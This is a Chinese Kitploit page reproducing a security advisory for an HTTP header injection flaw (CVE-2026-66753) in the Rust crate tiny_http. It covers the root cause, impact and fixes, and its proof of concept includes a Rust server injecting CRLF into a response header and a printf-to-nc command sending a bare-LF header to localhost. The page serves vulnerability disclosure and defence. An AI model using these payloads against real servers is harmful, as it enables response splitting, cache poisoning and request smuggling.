Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http- — 安全公告:通过未经验证的 CR 和 LF 在标头值中实现 HTTP 标头注入(tiny_http) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-
漏洞分析代码分析Web安全学习与教育精选资源
GitHubtheopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

安全公告:通过未经验证的 CR 和 LF 在标头值中实现 HTTP 标头注入(tiny_http)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
41个月前尚未审核
分享

安全公告:未验证的 CR 和 LF 导致 HTTP 头注入(tiny_http)

分配的 CVE ID: CVE-2026-66753

概要

tiny_http 不会拒绝 HTTP 头值中的回车或换行,无论方向如何。

在请求侧,read_next_line 仅在 CRLF 处结束一个头行,因此单独的 LF 会保留在解析后的值中并到达应用程序。在响应侧,Header::from_bytes 仅验证字节是 ASCII,而响应写入器会原样发出值,因此包含 CRLF 的值会拆分响应。

将请求头值反射到响应头中,或将请求头重新序列化到另一连接的应用程序,因此会继承一个注入原语,且没有任何迹象表明有问题。

受影响版本

仓库 URL:https://github.com/tiny-http/tiny-http

受影响所有已发布版本,直至并包括 0.12.0(2022-10-06),即当前版本
已验证0.6.2、0.6.3、0.8.0、0.9.0、0.10.0、0.11.0、0.12.0
修复于撰写本文时尚无修复版本

这不同于 RUSTSEC-2020-0031 / CVE-2020-35884,后者涉及 Transfer-Encoding 解析并在 0.6.3 和 0.8.0 中修复。此处描述的行为在该修复前后均存在。

严重性

CWE-113(HTTP 头中对 CRLF 序列的中和不当),是 CWE-93(CRLF 注入)的一个特定情形。

CVSS 4.0 基础评分 6.3(中危) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

威胁模型

一个远程、未认证的客户端,向任何 tiny_http 服务器发送原始 HTTP。无需凭据或用户交互。

两种消费方模式会将其转化为漏洞:

将请求头值复制到响应头中的应用程序。这是 CORS 来源回显、基于请求数据构建的 Location 头以及 cookie 处理背后的反射模式。请求值中的单独 LF 会到达响应;如果应用程序自行构造响应值,则可能携带完整 CRLF。

将请求头重新序列化到另一连接的应用程序,例如反向代理。单独的 LF 会被写入上游请求,而将裸 LF 视为头行终止符的后端会把一个请求读成两个。RFC 9112 第 2.2 节允许接收者这样做,因此这些后端符合规范。经实测,Go net/http 和 Python http.server 都接受这一点。

根本原因

请求侧

tiny_http-0.12.0/src/client.rs,第 80 至 102 行。循环仅当 LF 前面有 CR 时才返回。任何其他字节,包括单独的 LF 或单独的 CR,都会在第 100 行被推入行缓冲区:

root@kitploit:~
 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LF 是 0x0A,CR 是 0x0D,两者都是有效 ASCII,因此第 94 行的 AsciiString::from_ascii 接受它们。

tiny_http-0.12.0/src/common.rs,第 184 至 191 行,随后仅修剪该值。trim 会移除前导和尾随空白,但保留内部字节不变:

root@kitploit:~
184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

CRLF 对无法存活,因为它会终止该行,但单独的 LF、单独的 CR 以及 \n\r 等序列都可以存活。

响应侧

tiny_http-0.12.0/src/common.rs,第 166 至 172 行,仅检查 ASCII:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs,第 99 至 104 行,不进行任何转义即写入该值:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

注意,第 226 行的 HeaderField::from_str 确实拒绝字段名中的空白,但第 171 行的 HeaderField::from_bytes 不拒绝,因此响应头名称也未受检查。

概念验证

步骤 1. 启动一个服务器,打印已解析的请求头值,并将包含 CRLF 的值回显到响应头中。

root@kitploit:~
use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

步骤 2. 发送一个 X-Test 值包含裸 LF 的请求。在下面的命令中,\n 是单个换行,而 \r\n 是 CRLF。这个区别正是测试的重点,因此不要让编辑器将其规范化。

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

标准输出上的结果。LF 仍位于解析后的值内部:

root@kitploit:~
parsed X-Test value = "aaa\nbbb"

线路上的结果。响应头被拆分成两个:

root@kitploit:~
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

影响

tiny_http 本身不会重新发出请求头,因此请求侧行为是潜在原语,而非直接危害。在任何转发或反射头值的消费者中,它会变为可利用的:针对容忍 LF 的后端产生请求走私,或在响应中产生头注入。

响应侧行为在任何将受攻击者影响的文本放入头值的应用程序中可直接利用:在源站上下文中进行脚本注入、缓存投毒、通过注入的 Set-Cookie 进行会话固定,以及覆盖安全头。

作为对比,http crate 在 HeaderValue::from_str 中拒绝 CR 和 LF,这就是基于它构建的栈不会暴露这两种行为的原因。

修复方案

在两个边界处都拒绝控制字符。

在 read_next_line (src/client.rs 第 80 行) 中,将头行中的裸 CR 或裸 LF 视为协议错误并返回 400,而不是将其折叠进值中。或者在分割后于 Header::from_str (src/common.rs 第 184 行) 中拒绝它们。

在 Header::from_bytes (src/common.rs 第 166 行) 中,拒绝包含 0x0D、0x0A 或 0x00 的值,并拒绝包含 RFC 9110 token 集合以外任何内容的字段名。由于该签名是可能失败的,调用者已经处理了返回 Err 的情况。

下载工具